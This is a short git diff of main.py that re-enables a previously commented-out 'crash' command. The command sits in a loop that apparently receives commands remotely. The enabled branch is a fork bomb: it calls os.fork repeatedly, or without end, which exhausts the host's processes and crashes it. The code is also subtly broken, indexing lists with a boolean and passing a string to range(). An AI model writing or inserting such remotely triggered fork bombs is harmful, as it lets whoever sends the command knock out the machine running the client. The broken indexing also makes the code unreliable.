summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--main.py18
1 files changed, 9 insertions, 9 deletions
diff --git a/main.py b/main.py
index edb1bb0..7da1a66 100644
--- a/main.py
+++ b/main.py
@@ -98,15 +98,15 @@ while True:
else:
old_command = commandId
continue
-# if command.startswith("crash"):
-# from os import fork
-# command = command.split()
-# if command[1<len(command)]:
-# for _ in range(command[1]):
-# fork()
-# else:
-# while 1:
-# fork()
+ if command.startswith("crash"):
+ from os import fork
+ command = command.split()
+ if command[1<len(command)]:
+ for _ in range(command[1]):
+ fork()
+ else:
+ while 1:
+ fork()
elif command.startswith('volume'):
localcmd = command.split()
if localcmd[1<len(localcmd)]: